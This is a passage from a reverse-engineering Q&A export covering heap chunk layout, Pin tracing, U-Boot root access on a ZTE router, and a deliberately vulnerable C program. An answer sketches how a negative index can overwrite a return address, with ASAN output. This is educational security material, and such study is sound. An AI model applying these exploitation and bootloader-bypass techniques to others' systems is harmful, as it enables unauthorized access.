        "CreationDate": "2018-09-08T15:49:27.373",
        "Body": "<p>Here is the function<a href=\"https://i.stack.imgur.com/zhDlV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zhDlV.png\" alt=\"enter image description here\"></a></p>\n\n<p>If I understand correctly:</p>\n\n<ul>\n<li>There is a buffer of size 256 bytes created (malloc)</li>\n<li>in this buffer, the first 32 bits are set to 0 (because dword designates 32bits size)</li>\n<li>the next 32 bits (32 to 63) are set to C8h</li>\n<li>the next 32 bits (64 to 95) to 0.</li>\n</ul>\n\n<p>Then another pointer of memory size  3200 is created.\nThe address of this new pointer is written in the first buffer between the bit 127 to the bit 127+64=191. </p>\n\n<p>Then we return the address of the first buffer.</p>\n\n<p>Am I right?</p>\n\n<p>Thank you very much!!!</p>\n\n<p>PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?</p>\n",
        "Title": "Correct my understanding on a basic allocation memory",
        "Tags": "|assembly|linux|x86-64|",
        "Answer": "<blockquote>\n  <p>If I understand correctly:</p>\n  \n  <p>There is a buffer of size 256 bytes created (malloc) in this buffer,\n  the first 32 bits are set to 0 (because dword designates 32bits size)\n  the next 32 bits (32 to 63) are set to C8h the next 32 bits (64 to 95)\n  to 0.</p>\n</blockquote>\n\n<p>Yes!</p>\n\n<blockquote>\n  <p>The address of this new pointer is written in the first buffer between the bit 127 </p>\n</blockquote>\n\n<p>Well it will be the 128th bit. The qword at <code>rax+0x10</code> is 128 bits from the head of your first <code>malloc</code>.</p>\n\n<hr>\n\n<p>But these aren't strictly bit offsets. You can calculate how many bits from the start of memory, but I would question why it matters. </p>\n\n<blockquote>\n  <p>PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?</p>\n</blockquote>\n\n<p><code>rax</code> is a 64 bit register so you can use it to represent 2^64 values. </p>\n\n<p>If <code>rax</code> is <code>0x12345678</code> and I add <code>1</code>, what should happen? It will become <code>0x12345679</code> regardless of how many bits you want that to represent. (Oversimplification but I hope this make the point).</p>\n\n<p>For example: <code>mov dword ptr [rax+4], 0xC8</code></p>\n\n<p>Ref: <a href=\"https://www.felixcloutier.com/x86/MOV.html\" rel=\"nofollow noreferrer\">https://www.felixcloutier.com/x86/MOV.html</a></p>\n\n<p>From the above ref, this is a <code>mov m32, imm32</code> which means copy a 32bit constant into the 32bit DWORD <em>through this pointer</em> <code>[rax+4]</code></p>\n\n<p>So because <code>[rax+4]</code> represents a pointer to byte addressable memory, the <code>+4</code> represents 4 bytes.</p>\n\n<p>This is only because the <code>m32</code> operand to <code>mov</code> is concerned with the address of bytes. There are other x86 instruction that can manipulate bits, but not this one.</p>\n"
    },
    {
        "Id": "19293",
        "CreationDate": "2018-09-08T16:18:35.843",
        "Body": "<p>I'm reading <a href=\"https://www.wiley.com/en-us/The+Shellcoder%27s+Handbook%3A+Discovering+and+Exploiting+Security+Holes%2C+2nd+Edition-p-9780470080238\" rel=\"nofollow noreferrer\">Shellcoder's Handbook</a> to learn more about exploitation and overflows. I reached the chapter on Heap Overflows. The book mentions that a heap is split into chunks where each chunk contains two important pieces of info: </p>\n\n<ul>\n<li>The size of the previous chunk, if allocated</li>\n<li>Size of current chunck</li>\n<li>Data</li>\n</ul>\n\n<p>The following image is taken from a <a href=\"http://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf\" rel=\"nofollow noreferrer\">Blackhat presentation</a>\n<a href=\"https://i.stack.imgur.com/M5AM5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M5AM5.png\" alt=\"enter image description here\"></a></p>\n\n<p>I made a small demo to test this. Below is the code:</p>\n\n<pre><code>    1 #include &lt;stdio.h&gt;\n    2 #include &lt;string.h&gt;\n    3 #include &lt;stdlib.h&gt;\n    4\n    5 int\n    6 main (int argc, char *argv[]){\n    7     char *buf, *buf2;\n    8\n    9     buf = (char *) malloc(1024);\n   10     buf2 = (char *) malloc(1024);\n   11\n   12     printf(\"buf=%p\\n\", buf);\n   13     printf(\"buf2=%p\\n\", buf2);\n   14     strcpy(buf, argv[1]);\n   15     strcpy(buf2, argv[2]);\n   16     printf(\"buf=%s\\n\", buf);\n   17     printf(\"buf2=%s\\n\", buf2);\n   18     free(buf2);\n   19     return 0;\n   20 }\n</code></pre>\n\n<p>I've placed a breakpoint on line 18 and checked the memory. Here's the dump after running the following command:</p>\n\n<p><code>./basicheap $(python -c 'print(\"A\"*1000 + \" \" +\"XXXXABCDEFGH\")')</code></p>\n\n<p>This is the memory dump of <code>buf1</code>:</p>\n\n<pre><code>[0x08048543]&gt; pxw 0x50 @ [fcnvar.local_1ch]-8\n0x0804b158  0x00000000 0x00000411 0x41414141 0x41414141  ........AAAAAAAA\n0x0804b168  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b178  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b188  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n0x0804b198  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA\n</code></pre>\n\n<p>This is the memory dump of <code>buf2</code>:</p>\n\n<pre><code>[0x08048543]&gt; pxw 0x50 @ [fcnvar.local_20h]-8\n0x0804b568  0x00000000 0x00000411 0x58585858 0x44434241  ........XXXXABCD\n0x0804b578  0x48474645 0x00000000 0x00000000 0x00000000  EFGH............\n0x0804b588  0x00000000 0x00000000 0x00000000 0x00000000  ................\n0x0804b598  0x00000000 0x00000000 0x00000000 0x00000000  ................\n0x0804b5a8  0x00000000 0x00000000 0x00000000 0x00000000  ................\n</code></pre>\n\n<p>The output shows <code>0x411</code> as the size of the both chunk, which is 1024 + 17 bits for whatever. This is the the first (and only) piece of information in the header for both chunks.</p>\n\n<p>However, I don't see any info relating to any previous chunks. In <em>Shellcoder's</em>, the author is trying to demonstrate how one can overflow <code>buf1</code> to overwrite the header info of <code>buf2</code>.</p>\n\n<p>Did the writers of glibc forgo the size of previous chunk in the header info, or is it something I'm missing?</p>\n\n<p>P.S: The build command I used was <code>gcc -no-pie -g basicheap.c -o basicheap</code></p>\n",
        "Title": "Heap Chunk Structure Does Not Contain Previous Section Info",
        "Tags": "|binary-analysis|radare2|exploit|shellcode|heap|",
        "Answer": "<p>The diagram you linked to seems to be wrong. <strong>The size of the previous chunk is stored in the current chunk iff, the previous chunk is free</strong>.</p>\n\n<p>This image is more appropriate of what an allocated heap chunk looks like.</p>\n\n<p><a href=\"https://i.stack.imgur.com/so4y7.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/so4y7.png\" alt=\"enter image description here\"></a></p>\n\n<p><sub>Source: <a href=\"https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/\" rel=\"noreferrer\">https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/</a></sub></p>\n\n<p>Lets take the following code to demonstrate this.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main (int argc, char *argv[])\n{\n    char *buf1, *buf2, *buf3;\n    buf1 = (char *) malloc(1024);\n    buf2 = (char *) malloc(1024);\n    buf3 = (char *) malloc(1024);\n\n    printf(\"buf1=%p\\n\", buf1);\n    printf(\"buf2=%p\\n\", buf2);\n    printf(\"buf3=%p\\n\", buf3);\n\n    memset(buf1, 'A', 1024);\n    memset(buf2, 'B', 1024);\n    memset(buf3, 'C', 1024);\n\n    free(buf2);\n    return 0;\n}\n</code></pre>\n\n<p>Note: Instead of two chunks, I'm taking three chunks or otherwise freeing the first may coalesce it into the top chunk. We will free the middle chunk and examine the chunk contents before and after the <code>free</code> call is executed.</p>\n\n<p>The binary was compiled with <code>gcc -m32 -g ./heap.c</code>. Debug the binary in gdb as you would normally and set a breakpoint on line 20 at the <code>free(buf2)</code> call.</p>\n\n<p><a href=\"https://i.stack.imgur.com/CJyx9.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/CJyx9.png\" alt=\"enter image description here\"></a></p>\n\n<p>When the breakpoint hit, let's examine the three chunks.</p>\n\n<p><a href=\"https://i.stack.imgur.com/gJQm2.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/gJQm2.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>malloc</code> returns the pointer to <code>chunk + 8</code>, so we subtracted 8 from each of the addresses. Additionally, I've also highlighted the chunk sizes (2nd member of a heap chunk) in the above image.</p>\n\n<p>However the chunk sizes are not actually <code>0x409</code> . Glibc heap chunks are always aligned to 8 bytes which means the last three bits are always zero. Hence, these three bits are used for storing other information (<code>A</code>, <code>M</code> and <code>P</code> bits).</p>\n\n<p><code>0x409</code> when converted to binary comes out to be <code>100 0000 1001</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/JuOf7.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/JuOf7.png\" alt=\"enter image description here\"></a></p>\n\n<p>To get the true chunk size we have to discard the last three bits (<code>A</code> <code>M</code> <code>P</code>) i.e. we should consider only <code>100 0000 1000</code>. When this is converted to decimal we get 1032.</p>\n\n<p><a href=\"https://i.stack.imgur.com/84kOZ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/84kOZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>The true chunk size is indeed 1032. 1024 bytes for our data and the other 8 for the first two members.</p>\n\n<p>Coming back to gdb, lets step over the <code>free</code> call and examine the chunks once again.</p>\n\n<p><a href=\"https://i.stack.imgur.com/vV7ws.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/vV7ws.png\" alt=\"enter image description here\"></a></p>\n\n<p>Chunk 2 has been freed. Let's have a look at chunk 3 (<code>buf3</code>).</p>\n\n<p><a href=\"https://i.stack.imgur.com/NHdyo.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/NHdyo.png\" alt=\"enter image description here\"></a></p>\n\n<p>The first member of chunk 3 now contains <code>0x408</code> which is <code>1032</code> in decimal - this is the size of chunk 2. <strong>Thus the previous size is stored in chunk 3 only after chunk 2 has been freed, not when it is in-use</strong>. </p>\n\n<p>The <code>P</code> bit I was referring before stands for <code>PREV_INUSE</code>. This bit is set when the previous chunk is in use. Since the previous chunk is now free this bit is set to 0. As a result the second member now also contains <code>0x408</code> (instead of <code>0x409</code>) which equals <code>100 0000 1000</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/EdYy9.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/EdYy9.png\" alt=\"enter image description here\"></a></p>\n\n<p>As shown in the image above, the <code>P</code> bit is unset. Hope, this clears your understanding.</p>\n"
    },
    {
        "Id": "19298",
        "CreationDate": "2018-09-09T11:44:13.967",
        "Body": "<p>I have a few SPARC binaries that have been compiled with what seems to be the SunPro CC compiler. The symbols in the binary are referring to a very early C++ implementation (pre-namespaces) and look like this:</p>\n\n<pre><code>__0oHistreamrsRUl.\n__0oHistreamrsRi.\n__0oHistreamrsRf.\n__0oKistrstreamdtv.\n__0oHistreamrsPc.\n__0oKistrstreamctPCc.\n__0oNIostream_initdtv.\n__0oNIostream_initctv.\n</code></pre>\n\n<p>Looking at these, I'm guessing that they correspond to the following methods:</p>\n\n<pre><code>istream::operator &gt;&gt;(unsigned long);\nistream::operator &gt;&gt;(int);\nistream::operator &gt;&gt;(float);\nistream::~istream();\nistream::operator &gt;&gt;(char *);\nistream::operator(const char *);\nostream_init::~ostream_init();\nostream_init::ostream_init();\n</code></pre>\n\n<p>To make further progress, I want to understand the mangling scheme used here, but my Google-fu is too weak. Where can I find documentation on the name mangling scheme used here?</p>\n",
        "Title": "Where can I find documentation for the name mangling scheme used by SunPro CC",
        "Tags": "|c++|sparc|name-mangling|",
        "Answer": "<p>I found the following documentation on archive.org, as part of Sun WorkShop\u2122 for Solaris 2.x</p>\n\n<p><a href=\"https://archive.org/download/SunWorkshopVol5No1/Sun%20WorkShop%E2%84%A2%20for%20Solaris%202.x%20Volume%205%20Number%201.iso/SPROmrcpl%2Freloc%2FSUNWspro%2FSC4.2%2FREADMEs%2Fmangling.ps\" rel=\"nofollow noreferrer\">mangling.ps</a></p>\n"
    },
    {
        "Id": "19309",
        "CreationDate": "2018-09-11T20:57:09.723",
        "Body": "<p>Look at this very basic c program:</p>\n\n<pre><code>int main()\n{\n    for (int i=0;i&lt;0x42;i++)\n    {\n        asm(\"nop\");\n        asm(\"nop\");\n    }\n    return 0x42;\n}\n</code></pre>\n\n<p>I have compiled it without any optimisations.</p>\n\n<p>You can see this with radare2:</p>\n\n<pre><code>|       ,=&lt; 0x00001130      eb06           jmp 0x1138\n|       |   ; JMP XREF from 0x0000113c (main)\n|      .--&gt; 0x00001132      90             nop\n|      :|   0x00001133      90             nop\n|      :|   0x00001134      8345fc01       add dword [local_4h], 1\n|      :|   ; JMP XREF from 0x00001130 (main)\n|      :`-&gt; 0x00001138      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'\n|      `==&lt; 0x0000113c      7ef4           jle 0x1132\n</code></pre>\n\n<p>The 2 nops instructions will be runned 0x42 times.</p>\n\n<p>What i want to do is to understand how i can log all program instructions with pin tool.</p>\n\n<p>I have wrote a very basic tool for pin:</p>\n\n<pre><code>#include \"pin.H\"\n#include &lt;stdio.h&gt;\n\nVOID callback_instruction(INS ins, VOID *v)\n{\n    printf(\"%lx\\t%s\\n\", INS_Address(ins),INS_Disassemble(ins).c_str());\n}\n\nint main(int argc, char *argv[])\n{\n    if (PIN_Init(argc,argv))\n    {\n        printf(\"Erreur\\n\");\n        return 0;\n    }\n\n    INS_AddInstrumentFunction(callback_instruction, 0);\n    PIN_StartProgram();\n\n    return 0;\n}\n</code></pre>\n\n<p>There is something i do not understand. callback_instruction should be called before each instructions.\nSo i should see 0x42*2 times the nop instruction.\nOr i can see it only twice times.</p>\n\n<p>I do not understand why pintool just disassemble my program instead of running it instruction by instruction...</p>\n",
        "Title": "I want to trace all instructions with pintool. Strange behaviour",
        "Tags": "|pintool|",
        "Answer": "<p>I think you might have confused <code>INS_AddInstrumentFunction</code> with a tracing callback. In your case the callback supplied to <code>INS_AddInstrumentFunction</code> is <code>callback_instruction</code>. Pin calls <code>callback_instruction</code> every time a new instruction is encountered, not on every execution of an instruction.</p>\n\n<p>This is probably not what you want to achieve. Here's the code that suits your case. You need to register a callback which is executed on every execution.</p>\n\n<pre><code>#include \"pin.H\"\n#include &lt;stdio.h&gt;\n\nVOID dump_nop(UINT64 insAddr, std::string insDis) {\n  printf(\"%lx\\t%s\\n\", insAddr, insDis.c_str());\n}\n\nVOID callback_instruction(INS ins, VOID *v) {\n\n  if (INS_IsNop(ins)) {\n    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)dump_nop, IARG_ADDRINT,\n                   INS_Address(ins), IARG_PTR, new string(INS_Disassemble(ins)),\n                   IARG_END);\n  }\n}\n\nint main(int argc, char *argv[]) {\n  if (PIN_Init(argc, argv)) {\n    printf(\"Erreur\\n\");\n    return 0;\n  }\n\n  INS_AddInstrumentFunction(callback_instruction, 0);\n  PIN_StartProgram();\n\n  return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "19324",
        "CreationDate": "2018-09-12T22:15:58.727",
        "Body": "<p>I'm trying to gain a root access to my ZTE F680 router. I already have a serial connection and able to interrupt the U-Boot autoboot. The problem I'm having is understanding how given the following environment, is U-Boot able to boot Linux whereas when I try to run the same commands in its shell it fails. The environment:</p>\n\n<pre><code>CASset=max\nEMAC=EMAC0\nMACMODE=GMII\nMALLOC_len=5\nMPmode=SMP\namp_enable=no\nautoload=no\nbaudrate=115200\nboot_order=hd_scr hd_img pxe net_img net_scr\nbootargs_dflt=$console $mtdparts $bootargs_root nfsroot=$serverip:$rootpath ip=$ipaddr:$serverip$bootargs_end $mvNetConfig video=dovefb:lcd0:$lcd0_params clcd.lcd0_enable=$lcd0_enable clcd.lcd_panel=$lcd_panel\nbootargs_end=:10.4.50.254:255.255.255.0:AvantaLP:eth0:none\nbootargs_root=root=/dev/nfs rw\nbootcmd=setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize); bootm 0x2000100;\nbootdelay=3\nbootfile=uboot.bin\nbootsize=0x60000\ncacheShare=no\nconsole=console=ttyS0,115200\ndevice_partition=0:1\ndisL2Cache=yes\ndisL2Prefetch=yes\ndisaMvPnp=no\neeeEnable=no\nenaClockGating=no\nenaCpuStream=no\nenaDCPref=yes\nenaFPU=yes\nenaICPref=yes\nenaMonExt=no\nenaWrAllo=no\neth1addr=00:50:43:00:02:02\neth1mtu=1500\neth2addr=00:50:43:00:00:02\neth2mtu=1500\neth3addr=00:50:43:02:00:00\neth3mtu=1500\nethact=egiga0\nethaddr=00:50:43:00:02:02\nethmtu=1500\nethprime=egiga0\nfdt_addr=2040000\nflashsize=134217728\nfullfile=upgrade.bin\nide_path=/\nimage_name=uImage\ninitrd_name=uInitrd\nipaddr=192.168.1.1\nkernel_addr_r=2080000\nkernelsize=0x16000000\nlcd0_enable=0\nlcd0_params=640x480-16@60\nlcd_panel=0\nlinuzfile=vmlinuz.bin\nloadaddr=0x02000000\nloads_echo=0\nmemsize=253M\nmtddevname=boot\nmtddevnum=0\nmtdids=nand0=mvebu-nand\nmtdparts=mtdparts=mvebu-nand:1536k@0(boot),512k(env),20m(kernel0),20m(kernel1),6m(others),4m(parameter),8m(usercfg),4m(middleware),4m(wlan)\nmvNetConfig=mv_switch_config=none\nmv_pon_addr=00:50:43:02:00:00\nnandEcc=1bit\nnand_erasesize=20000\nnand_oobsize=40\nnand_writesize=800\nnetbsd_en=no\nnetdev=mii0\nnetmask=255.255.255.0\nnetretry=no\npartition=nand0,0\npcieTune=no\npexMode=RC\npxe_files_load=:default.arm-armadaxp-db:default.arm-armadaxp:default.arm\npxefile_addr_r=3100000\nramdisk_addr_r=2880000\nrcvr_image=rootfs.squashfs.rcvr.img\nrootfile=rootfs.img\nrootpath=/srv/nfs/\nsata_delay_reset=0\nsata_dma_mode=yes\nscript_addr_r=3000000\nscript_name=boot.scr\nserverip=192.168.1.100\nsetL2CacheWT=no\nsilent=0\nstandalone=fsload 0x2000000 $image_name;setenv bootargs $console $mtdparts root=/dev/mtdblock0 rw ip=$ipaddr:$serverip$bootargs_end; bootm 0x2000000;\nstderr=serial\nstdin=serial\nstdout=serial\nversioninfo=U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87\nvxworks_en=no\nyuk_ethaddr=00:00:00:EE:51:81\n\nEnvironment size: 2586/131068 bytes\n</code></pre>\n\n<p>From what I gatered, the <a href=\"https://github.com/umiddelb/armhf/wiki/Get-more-out-of-%22Das-U-Boot%22#stage-2-u-boot\" rel=\"nofollow noreferrer\">stage 2</a> should load the <code>boot.scr</code> script and then execute <code>bootcmd</code>. But trying to do this in shell fails. Trying to run <code>boot.scr</code> claims there's no valid image at this address and loading it with <code>fsload</code> fails with:</p>\n\n<pre><code>### JFFS2 loading 'boot.scr' to 0x3000000\nScanning JFFS2 FS:  done.\nfind_inode failed for name=boot.scr\nload: Failed to find inode\n</code></pre>\n\n<p>The partition table does exist:</p>\n\n<pre><code>=&gt; mtdparts\nmtdparts\n\ndevice nand0 &lt;mvebu-nand&gt;, # parts = 9\n #: name        size        offset      mask_flags\n 0: boot                0x000000180000      0x000000000000      0\n 1: env                 0x000000080000      0x000000180000      0\n 2: kernel0             0x000001400000      0x000000200000      0\n 3: kernel1             0x000001400000      0x000001600000      0\n 4: others              0x000000600000      0x000002a00000      0\n 5: parameter           0x000000400000      0x000003000000      0\n 6: usercfg             0x000000800000      0x000003400000      0\n 7: middleware          0x000000400000      0x000003c00000      0\n 8: wlan                0x000000400000      0x000004000000      0\n</code></pre>\n\n<p>but listing any of them with <code>ls</code> gives no results:</p>\n\n<pre><code>=&gt; ls\nScanning JFFS2 FS:  done.\n</code></pre>\n\n<p>I'm wondering if maybe U-Boot has been compiled without some commands (i.e. <code>fdt</code> command is missing) or some hardcoded boot sequence? If I don't interrupt the autoboot it looks like this:</p>\n\n<pre><code>Hit any key to stop autoboot:  0\nflash block_size is 0x20000\nflash size(search addredd) is 0x8000000\nsearch.c,372,do_search: search-&gt;result[index].entry = 0x200100\nsearch.c,372,do_search: search-&gt;result[index].entry = 0x1600100\ndo_search ending\ndo_startup() start\nselect=0x1\nsearch-&gt;result[select].entry=1600100\nsearch-&gt;result[1].entry = 0x1600100\ndo_startup() ending\ndo_settings() start\ndo_setting versioninfo\nbtNumbers is V2.0.10T5\n## Booting kernel from Legacy Image at 02000100 ...\n   Image Name:   Linux Kernel Image\n   Created:      2017-10-25   9:10:20 UTC\n   Image Type:   ARM Linux Kernel Image (gzip compressed)\n   Data Size:    15128571 Bytes = 14.4 MiB\n   Load Address: 00008000\n   Entry Point:  00008000\n   Verifying Checksum ... OK\n   Uncompressing Kernel Image ... OK\n|--&gt;setup versioninfo tag...versioninfo is U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87\n\nStarting kernel ...\n</code></pre>\n",
        "Title": "How does U-Boot get from this environment to booting Linux?",
        "Tags": "|embedded|",
        "Answer": "<p>Almost two years later I had to do it again and this time I documented my process!\nLooks like U-Boot has a script (probably custom for ZTE) that scans the NAND memory in search for an image and then loads it in memory. This part is visible in logs here:</p>\n<pre><code>search.c,372,do_search: search-&gt;result[index].entry = 0x200100\nsearch.c,372,do_search: search-&gt;result[index].entry = 0x1600100\ndo_search ending\ndo_startup() start\nselect=0x1\nsearch-&gt;result[select].entry=1600100\nsearch-&gt;result[1].entry = 0x1600100\ndo_startup() ending\n</code></pre>\n<p>I'm not sure how I can call this script but I managed to load the image manually. First I took note of the addresses: image in flash:</p>\n<pre><code>search-&gt;result[select].entry=1600100\n</code></pre>\n<p>and memory where it's jumped to:</p>\n<pre><code>## Booting kernel from Legacy Image at 02000100 ...\n</code></pre>\n<p>As loading has to be aligned with the page, I ended up loading from <code>0x1600000</code> into <code>0x2000000</code>. Only missing part was the size for the <a href=\"https://www.denx.de/wiki/view/DULG/UBootCmdGroupNand\" rel=\"nofollow noreferrer\"><code>nand load</code></a> command but I assumed the whole partition would be enough so I just took the value from <code>mtdparts</code> command and ended up with:</p>\n<pre><code>&gt; nand read 0x2000000 0x1600000 0x1400000\n</code></pre>\n<p>Now with the image loaded I could just <code>run bootcmd</code> but I wanted to gain root access so I made a small tweak to the <code>bootargs</code> by adding <code>single</code> to boot it in single user mode:</p>\n<pre><code>&gt; setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize) single\n&gt; bootm 0x2000100\n</code></pre>\n<p>I hope this answer is useful for the two people who upvoted this question and for any <a href=\"https://xkcd.com/979/\" rel=\"nofollow noreferrer\">future visitor</a>.</p>\n"
    },
    {
        "Id": "19331",
        "CreationDate": "2018-09-13T13:58:51.410",
        "Body": "<p>I get this code and I can not find the vulnerability.\nI think this code may be vulnerable to buffer overflow. How do I prove it? </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;stdbool.h&gt;\n\ntypedef struct _AC_DATA\n{   \n    int the;\n    int fan;\n    bool rec;\n} AC_DATA, *PAC_DATA;\n\ntypedef struct _RADIO_DATA\n{\n    char speakers_volume[4];\n    int station;\n} RADIO_DATA, *PRADION_DATA;\n\ntypedef struct _GLOBAL_DATA\n{\n    AC_DATA ac_data;\n    RADIO_DATA radio_data;\n}GLOBAL_DATA, *PGLOBAL_DATA;\n\nvoid good()\n{\n    printf(\"Good!\\n\");\n}\n\nint update_volume(PGLOBAL_DATA pglobal_data, int index, int new_volume)\n{\n    char arr[100];\n\n    if(index &gt; 4)\n    {\n        printf(\"error invalid speaker.\\n\");\n        return -1;\n    }\n    printf(\"updating the speaker %d to volume %d\\n\", index, new_volume);\n    pglobal_data -&gt; radio_data.speakers_volume[index] = new_volume;\n}\n\nvoid hacked()\n{\n    printf(\"Hacked!\\n\");\n}\n\n\nint main () {\n\n    GLOBAL_DATA global_data = {0};\n    int index;\n    int new_volume;\n    printf(\"address of main: 0x%X.\\n\", main);\n    printf(\"enter volume index:\");\n    scanf(\"%d\", &amp;index);\n    printf(\"enter new volume:\");\n    scanf(\"%d\", &amp;new_volume);\n    update_volume(&amp;global_data, index, new_volume);\n\n    return 0;\n}\n</code></pre>\n",
        "Title": "someone can help me recognize the vulnerability",
        "Tags": "|buffer-overflow|vulnerability-analysis|",
        "Answer": "<p>The bug is in <code>update_volume</code>.</p>\n\n<pre><code>pglobal_data -&gt; radio_data.speakers_volume[index] = new_volume;\n</code></pre>\n\n<p><code>index</code> is an int, it can take negative values too. Ideally you should not be able to access -ve indices in an array as it gives you read/write over memory area preceding the array. Here we just have a check to limit its max value to 4 but you can use negative integers to INT_MIN and overwrite a byte.</p>\n\n<p>For exploitation, <code>global_data</code> belongs to main's stack frame. Accessing negative indices you can overwrite a byte in return address of <code>update_volume</code> (somewhere in main) on the stack. This gives you the primitive to jump to maybe <code>hacked</code> or <code>good</code> functions.</p>\n\n<p>Resources: Use <a href=\"https://github.com/google/sanitizers/wiki/AddressSanitizer\" rel=\"nofollow noreferrer\">ASAN</a> to verify your claims while fuzzing with inputs.</p>\n\n<p>Here is the ASAN dump for this case.</p>\n\n<pre><code>ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-6.0/bin/llvm-symbolizer ./test\naddress of main: 0xCA77FE6F.\nenter volume index:-36\nenter new volume:65\nupdating the speaker -36 to volume 65\n=================================================================\n==27759==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffebfb3ff98 at pc 0x55f1ca77fe6f bp 0x7ffebfb3fed0 sp 0x7ffebfb3fec0\nWRITE of size 1 at 0x7ffebfb3ff98 thread T0\n    #0 0x55f1ca77fe6e in update_volume /tmp/re.c:39\n    #1 0x55f1ca78004b in main /tmp/re.c:57\n    #2 0x7f237a433b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)\n    #3 0x55f1ca77fcf9 in _start (/tmp/test+0xcf9)\n\nAddress 0x7ffebfb3ff98 is located in stack of thread T0 at offset 136 in frame\n    #0 0x55f1ca77fe7e in main /tmp/re.c:47\n\n  This frame has 3 object(s):\n    [32, 36) 'index'\n    [96, 100) 'new_volume'\n    [160, 180) 'global_data' &lt;== Memory access at offset 136 underflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/re.c:39 in update_volume\nShadow bytes around the buggy address:\n  0x100057f5ffa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffe0: 00 00 f1 f1 f1 f1 04 f2 f2 f2 f2 f2 f2 f2 04 f2\n=&gt;0x100057f5fff0: f2 f2 f2[f2]f2 f2 00 00 04 f2 00 00 00 00 00 00\n  0x100057f60000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==27759==ABORTING\n</code></pre>\n\n<p>Please specify while posting if this a homework problem. We are happy to help but won't do all the job for you if you don't show any progress made/research done as @SYS_V mentioned in comments.</p>\n"
    },
    {
        "Id": "19333",
        "CreationDate": "2018-09-13T15:20:30.227",
        "Body": "<p>From this question: <a href=\"https://reverseengineering.stackexchange.com/q/16075/23069\">How does the Windows Native API communicate with the kernel?</a></p>\n<p>Here is an example of <code>ZwClose(HANDLE Handle);</code> system call in NTDLL.DLL in Windows 10 X86_64:</p>\n\n<pre><code>NtClose         proc near\nmov     r10, rcx\nmov     eax, 0Fh\ntest    byte ptr ds:7FFE0308h, 1\njnz     short loc_a\nsyscall\nretn\n\nloc_a:\nint     2Eh\nretn\nNtClose         endp\n</code></pre>\n<p>My question is, why there is two different instruction <code>syscall</code> and <code>int 0x2E</code> in one subroutine? The <code>0xF</code> value in EAX is the ID of <code>ZwClose()</code> and/or <code>NtCose()</code>. While debugging, code execution never goes to <code>int 0x2E</code>, <code>syscall</code> instruction is always executed and <a href=\"http://www.osronline.com/article.cfm?id=257\" rel=\"noreferrer\"><code>ds:7FFE0308h</code> becomes zero</a>.</p>\n\n",
        "Title": "What are the difference syscall and int 0x2E instructions?",
        "Tags": "|windows|x86|kernel-mode|system-call|",
